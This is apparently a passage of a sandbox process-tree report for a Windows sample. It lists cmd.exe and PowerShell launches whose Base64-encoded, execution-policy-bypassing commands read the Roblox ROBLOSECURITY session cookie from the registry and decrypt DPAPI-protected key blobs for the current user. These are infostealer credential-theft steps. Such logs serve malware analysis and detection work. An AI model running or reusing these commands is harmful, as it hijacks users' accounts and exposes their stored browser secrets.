                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                          powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABwACAAPQAgACcALgBSAE8AQgBMAE8AJwAgACsAIAAnAFMARQBDAFUAUgBJAFQAWQAnADsAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAFIAbwBiAGwAbwB4AFwAUgBvAGIAbABvAHgAUwB0AHUAZABpAG8AQgByAG8AdwBzAGUAcgBcAHIAbwBiAGwAbwB4AC4AYwBvAG0AJwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AJABwAA==
                                                                                                          3⤵
                                                                                                            PID:5984
                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEARwBrAHcAKwB5ACsAZgBkAEIARQBpAFQATQBvAFEAdgBCAHcARgBaAGEAUgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBEAGwAMwBSAG0AZQB0AHQARQBZAG4AagA5AEUAUwA3AE0AdwBEADUAaQBhAE4AbgB3AHAAdQBaAEkARQA1AFkAYwA2ADgAUwA2ADIAcAB4ADcASABWAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAFAASwBYAGwAUABJAGcAeQB2AFAANwB4AEMAbwAyAEsAZQBrAG4ANwB0ADkANwBZAEgAZgBRACsAMgBNAE8AQwB6AFUATgBaAHYAYQB1AGcAZAA1ADEATQBBAEEAQQBBAEsAMwB3ACsAMgB3ADAASQBXAG0AZgB1AEoAMAB0AGYAdQBjAFEAWQA0AEQAOQAvAEQAWAA4AGwAQwBLAEoAWgBwAEUAYwByADUAZQBRAGgANQBOAEEAWQB4AGkASABvAGYAQwBDAGMANgBaAGsATABtAHIAbwBRAFoARABUAFUARQBBAEEAQQBBAEQAdwBHAE4AdQBlAGQATgBkAEEAUwB2ADcATQA0AHAAbgBwAEUAWgAxAHQASgBwAC8AWgArAEIAdwBlAFoAOQBIADEAeQBHAFMAUQBKAEUAUABnAHUAWQBHAC8ALwArAC8AUwBXAGMARQA2AEUAZwBnAE8AYQBSAEEAeQBYAE8AUABqAG8ASQBUAFMATQByAG8AUgBPAHAAeQBTAG4AMABrAEYAbwBOADIAbQAnACkAOwAgACQAZABlAGMASwBlAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAZQBuAGMASwBlAHkALAAgACQAbgB1AGwAbAAsACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIAKQA7ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZABlAGMASwBlAHkAKQA="
                                                                                                          2⤵
                                                                                                            PID:6300
                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                              powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEARwBrAHcAKwB5ACsAZgBkAEIARQBpAFQATQBvAFEAdgBCAHcARgBaAGEAUgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBEAGwAMwBSAG0AZQB0AHQARQBZAG4AagA5AEUAUwA3AE0AdwBEADUAaQBhAE4AbgB3AHAAdQBaAEkARQA1AFkAYwA2ADgAUwA2ADIAcAB4ADcASABWAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAFAASwBYAGwAUABJAGcAeQB2AFAANwB4AEMAbwAyAEsAZQBrAG4ANwB0ADkANwBZAEgAZgBRACsAMgBNAE8AQwB6AFUATgBaAHYAYQB1AGcAZAA1ADEATQBBAEEAQQBBAEsAMwB3ACsAMgB3ADAASQBXAG0AZgB1AEoAMAB0AGYAdQBjAFEAWQA0AEQAOQAvAEQAWAA4AGwAQwBLAEoAWgBwAEUAYwByADUAZQBRAGgANQBOAEEAWQB4AGkASABvAGYAQwBDAGMANgBaAGsATABtAHIAbwBRAFoARABUAFUARQBBAEEAQQBBAEQAdwBHAE4AdQBlAGQATgBkAEEAUwB2ADcATQA0AHAAbgBwAEUAWgAxAHQASgBwAC8AWgArAEIAdwBlAFoAOQBIADEAeQBHAFMAUQBKAEUAUABnAHUAWQBHAC8ALwArAC8AUwBXAGMARQA2AEUAZwBnAE8AYQBSAEEAeQBYAE8AUABqAG8ASQBUAFMATQByAG8AUgBPAHAAeQBTAG4AMABrAEYAbwBOADIAbQAnACkAOwAgACQAZABlAGMASwBlAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAZQBuAGMASwBlAHkALAAgACQAbgB1AGwAbAAsACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIAKQA7ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZABlAGMASwBlAHkAKQA=
                                                                                                              3⤵
                                                                                                                PID:1280
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAB0AHIAeQAgAHsAIAAkAGUAbgBjACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAZABIAHUAYwBDAC8AQwB5AGIAMABxADkAUwBaAHYAWgBiAFMATABmADIAeABBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBMAGQAaQBSAEIAVABZAE0AcQBIAEwAOQBpAHoAYwB3AE8AVQByAEUAbwA3ADIALwBmAGgANAB0AEMAdAB2ADAAQQBJAFMAUgBoAE4AeAA4AE0ARQB5AEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAE0ARAA0AGIAVQBNAEQAbABOAEwARgBEAFcASwAwAHYAawA1AGEAQwBDADgAWQBIAGsAdQB5ADcAUQBQAHkAdgBZAHYAYQBvAGgAcwBXAGwALwA1AGkAawBBAEUAQQBBAEsASAAxAGUAbAB5AFkAZQA1AFgAQgBQADkAbwBaAFEAZgBYADIAMgBUADMAdwA3AFMAeQA0AGgAWQBuAHYAcwBJAEgAcQBQAFAAeQBqAE0AMgBZAFoAKwBZAHQAeQBMAFYAMgBqAEYAZQBSAFEATwAzAEoAYwBXAGUAMwBvADYAOQBLAEkAQwA1AG4ATQAwAEUANABOAHYARwA0AGoAMwBIADQAWABNAE8AcwBEAFUAQQB6AFMASAA1AHYAbgBNAHIATABRAFoARwAvADYAcgBwAGUASQAyAFoAegBGAGoAaQBDAFoAbAA2AGYAcQBDAFoAdABRAFoAaQBpAEwAdgBRAGsAYgBoAGQAaABSAFUAbgB3AGwAMQBEAFYATQB6AHQAeQAxAGMATgBOAGQAKwBVADQAVgBmAHIANABvADQAUwA2AHUAWQBMAHIAbwBxAFEAQwBPAGUARQByAHIAOQBTAGoASgBYAEoASABzAHAARQB3AHoAbABEADAAaAA4AGwAdAA3AGYAVABoAHcASQBuADIAbQBBAEUASQBJAG0AdgBOADkASgBnAG4ATABMAHoARABnADgANwB1AFAAYQBSADAAZQAwAHgASABRAHQAVQBXAGkATAArAGIAMQBPADIAMgA3AEYAMgBmAGEATQBLAHQAbAAwAEMAagA5AGoARgBaAEsATQBRAGIATABOAGoAdABhADYAWAB0AEMAWgBLAGMAYwAvAEEAdAA5AFAAQwA0AEgATwBJAFQASABEAEIATgBEADYAdwBCAHAAWABLAEYAVQB1AEoAWABOAHYAZQBqADkAZQBVACsAOQAzAHIAbgBJAE0ATABZAEkAZgBCAFQAbgBQAFUAMABqADUAZgBpAGUAawBUAEkAKwBDAHIASQAzADcAYgBsADUATgBuAGEAaABiAFcASQA4AGQAWgBaADkAdgAvAGYAcAB0AHEATQAyAGIARwBhAE8AWgB0AGgAZgA4AFEASQB5ADMAUAB3ADkAdQBxAGwAdwAvAGcAZABtAHUAcQA1AFkASwBVAGoAawBWAEEAOAAwADQAcgAzAGMAQQB0AE8AYgBHACsAbwBlAGYAVQBsAGcAcAA0AE0ARgBMADYAegBvAFMAbQBMAHEAUQBVAHQAcwBqAHkAWQB3AG0ATgBzAFAAUwA0AGYAVgBSAFUAagB2AG0ARwBvAEcATgBlAGgAdgA5AEEAcwBEADIAeQA5AEcAZgBjAEEAZgBiAHcAUABpAEoAYwBkAHAAdQBiAE8ASwBjAC8AVAA0AG8AaQA2AFgAMAA4ADAALwBhAEQARgAyAGkATwBKAFMARwBnADkAMQBxAHQAVgAyAGMAaAB4AHAAZgBhAG4AbwArAEgAeAAwAEwAUQBuAGgAbABKAGkARwBmADMASwB4AGoARwBoAEEAQQBBAEEAQQAwAFcASAAwAEIAQwBCAFEAOQBpAE0AQgBhAEYASgArAGUALwBaAFkAagBYAEwAOQB0AFoAbwB1AEwAMAAxAHkANgBQAE0ALwB0AHEANgBtAHEAVQBvAGMAMgBzADkANgBSAGkAUwBDAHQAaABQADkASwBnAGYAVgBnAEoASABpAC8AdABnAHUAagBwADcAbwBQAGUAUgByAEQAQwBUAGIATQBqAFEALwBnAFEAPQA9ACcAKQA7ACAAJABkAGUAYwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwApACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAnACcAIAB9AA=="
                                                                                                              2⤵
                                                                                                                PID:1532
                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAB0AHIAeQAgAHsAIAAkAGUAbgBjACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAZABIAHUAYwBDAC8AQwB5AGIAMABxADkAUwBaAHYAWgBiAFMATABmADIAeABBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBMAGQAaQBSAEIAVABZAE0AcQBIAEwAOQBpAHoAYwB3AE8AVQByAEUAbwA3ADIALwBmAGgANAB0AEMAdAB2ADAAQQBJAFMAUgBoAE4AeAA4AE0ARQB5AEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAE0ARAA0AGIAVQBNAEQAbABOAEwARgBEAFcASwAwAHYAawA1AGEAQwBDADgAWQBIAGsAdQB5ADcAUQBQAHkAdgBZAHYAYQBvAGgAcwBXAGwALwA1AGkAawBBAEUAQQBBAEsASAAxAGUAbAB5AFkAZQA1AFgAQgBQADkAbwBaAFEAZgBYADIAMgBUADMAdwA3AFMAeQA0AGgAWQBuAHYAcwBJAEgAcQBQAFAAeQBqAE0AMgBZAFoAKwBZAHQAeQBMAFYAMgBqAEYAZQBSAFEATwAzAEoAYwBXAGUAMwBvADYAOQBLAEkAQwA1AG4ATQAwAEUANABOAHYARwA0AGoAMwBIADQAWABNAE8AcwBEAFUAQQB6AFMASAA1AHYAbgBNAHIATABRAFoARwAvADYAcgBwAGUASQAyAFoAegBGAGoAaQBDAFoAbAA2AGYAcQBDAFoAdABRAFoAaQBpAEwAdgBRAGsAYgBoAGQAaABSAFUAbgB3AGwAMQBEAFYATQB6AHQAeQAxAGMATgBOAGQAKwBVADQAVgBmAHIANABvADQAUwA2AHUAWQBMAHIAbwBxAFEAQwBPAGUARQByAHIAOQBTAGoASgBYAEoASABzAHAARQB3AHoAbABEADAAaAA4AGwAdAA3AGYAVABoAHcASQBuADIAbQBBAEUASQBJAG0AdgBOADkASgBnAG4ATABMAHoARABnADgANwB1AFAAYQBSADAAZQAwAHgASABRAHQAVQBXAGkATAArAGIAMQBPADIAMgA3AEYAMgBmAGEATQBLAHQAbAAwAEMAagA5AGoARgBaAEsATQBRAGIATABOAGoAdABhADYAWAB0AEMAWgBLAGMAYwAvAEEAdAA5AFAAQwA0AEgATwBJAFQASABEAEIATgBEADYAdwBCAHAAWABLAEYAVQB1AEoAWABOAHYAZQBqADkAZQBVACsAOQAzAHIAbgBJAE0ATABZAEkAZgBCAFQAbgBQAFUAMABqADUAZgBpAGUAawBUAEkAKwBDAHIASQAzADcAYgBsADUATgBuAGEAaABiAFcASQA4AGQAWgBaADkAdgAvAGYAcAB0AHEATQAyAGIARwBhAE8AWgB0AGgAZgA4AFEASQB5ADMAUAB3ADkAdQBxAGwAdwAvAGcAZABtAHUAcQA1AFkASwBVAGoAawBWAEEAOAAwADQAcgAzAGMAQQB0AE8AYgBHACsAbwBlAGYAVQBsAGcAcAA0AE0ARgBMADYAegBvAFMAbQBMAHEAUQBVAHQAcwBqAHkAWQB3AG0ATgBzAFAAUwA0AGYAVgBSAFUAagB2AG0ARwBvAEcATgBlAGgAdgA5AEEAcwBEADIAeQA5AEcAZgBjAEEAZgBiAHcAUABpAEoAYwBkAHAAdQBiAE8ASwBjAC8AVAA0AG8AaQA2AFgAMAA4ADAALwBhAEQARgAyAGkATwBKAFMARwBnADkAMQBxAHQAVgAyAGMAaAB4AHAAZgBhAG4AbwArAEgAeAAwAEwAUQBuAGgAbABKAGkARwBmADMASwB4AGoARwBoAEEAQQBBAEEAQQAwAFcASAAwAEIAQwBCAFEAOQBpAE0AQgBhAEYASgArAGUALwBaAFkAagBYAEwAOQB0AFoAbwB1AEwAMAAxAHkANgBQAE0ALwB0AHEANgBtAHEAVQBvAGMAMgBzADkANgBSAGkAUwBDAHQAaABQADkASwBnAGYAVgBnAEoASABpAC8AdABnAHUAagBwADcAbwBQAGUAUgByAEQAQwBUAGIATQBqAFEALwBnAFEAPQA9ACcAKQA7ACAAJABkAGUAYwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwApACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAnACcAIAB9AA==
                                                                                                                  3⤵
                                                                                                                    PID:1456
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "python --version"
                                                                                                                  2⤵
                                                                                                                    PID:1844
                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "python3 --version"
                                                                                                                    2⤵
                                                                                                                      PID:4956
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "py -3 --version"
                                                                                                                      2⤵
                                                                                                                        PID:1440
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEARwBrAHcAKwB5ACsAZgBkAEIARQBpAFQATQBvAFEAdgBCAHcARgBaAGEAUgBBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQBHAE0AUQA2ADYAYgA4AFoAWQBFAFoAZABYADEATgBMAEUANQAwADAAMgA5AFUAVABtAE4ASgBXAFkAdQBxAGYAQQBJAHcAdABxAEUANQBIAFgATQBFAEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAFAAZABOAGwAYQBYAE8ASgBMAEsAdgBoAGQAVgB5AEwAMgBvAGIAWQB1AEIAcQA5AHoAQQBBAEQAagBsAFYAcABmAGcATQB2AGIAMgBGAC8AZgBNAE0AdwBBAEEAQQBBAEIAZQB3AHAANwBHAEwALwBoAFMAcABQAHIAZQBtAFAAbgBpAEsASABsAE0AOAA3AEsAcQBSAFQAUQBOAGYANwBhAFQAegBuAEYALwBCAEoAcABpAGcAMwB1AEQANQA4AGsASgBiAEMAYQBxAEYAdQBHAEQANwAyAG8ANAByAHEAUQBBAEEAQQBBAEcAMgBLAEkAcQBuAEoAQgAyAHgAOABkAHoAMAArAFYANABUAFQAVQB4AEIATwAyADcARgBrAHEAVABNAGIAVABTADEAcgAxAFYAYQBpAGQAagBuAGIATQBQADAARQBrAEsAUQBEAGMARgBwAHIAZQBVAG0ANABYAHcAcgBGAFcANgA4AG8AOAAvAHUASgBGAHMAcABqAFIAYgBQAFgAVwBlAE0ASQB2AFgAUQA9ACcAKQA7ACAAJABkAGUAYwBLAGUAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwBLAGUAeQAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwBLAGUAeQApAA=="
                                                                                                                        2⤵
                                                                                                                          PID:5064
                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                            powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEARwBrAHcAKwB5ACsAZgBkAEIARQBpAFQATQBvAFEAdgBCAHcARgBaAGEAUgBBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQBHAE0AUQA2ADYAYgA4AFoAWQBFAFoAZABYADEATgBMAEUANQAwADAAMgA5AFUAVABtAE4ASgBXAFkAdQBxAGYAQQBJAHcAdABxAEUANQBIAFgATQBFAEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAFAAZABOAGwAYQBYAE8ASgBMAEsAdgBoAGQAVgB5AEwAMgBvAGIAWQB1AEIAcQA5AHoAQQBBAEQAagBsAFYAcABmAGcATQB2AGIAMgBGAC8AZgBNAE0AdwBBAEEAQQBBAEIAZQB3AHAANwBHAEwALwBoAFMAcABQAHIAZQBtAFAAbgBpAEsASABsAE0AOAA3AEsAcQBSAFQAUQBOAGYANwBhAFQAegBuAEYALwBCAEoAcABpAGcAMwB1AEQANQA4AGsASgBiAEMAYQBxAEYAdQBHAEQANwAyAG8ANAByAHEAUQBBAEEAQQBBAEcAMgBLAEkAcQBuAEoAQgAyAHgAOABkAHoAMAArAFYANABUAFQAVQB4AEIATwAyADcARgBrAHEAVABNAGIAVABTADEAcgAxAFYAYQBpAGQAagBuAGIATQBQADAARQBrAEsAUQBEAGMARgBwAHIAZQBVAG0ANABYAHcAcgBGAFcANgA4AG8AOAAvAHUASgBGAHMAcABqAFIAYgBQAFgAVwBlAE0ASQB2AFgAUQA9ACcAKQA7ACAAJABkAGUAYwBLAGUAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwBLAGUAeQAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8Ac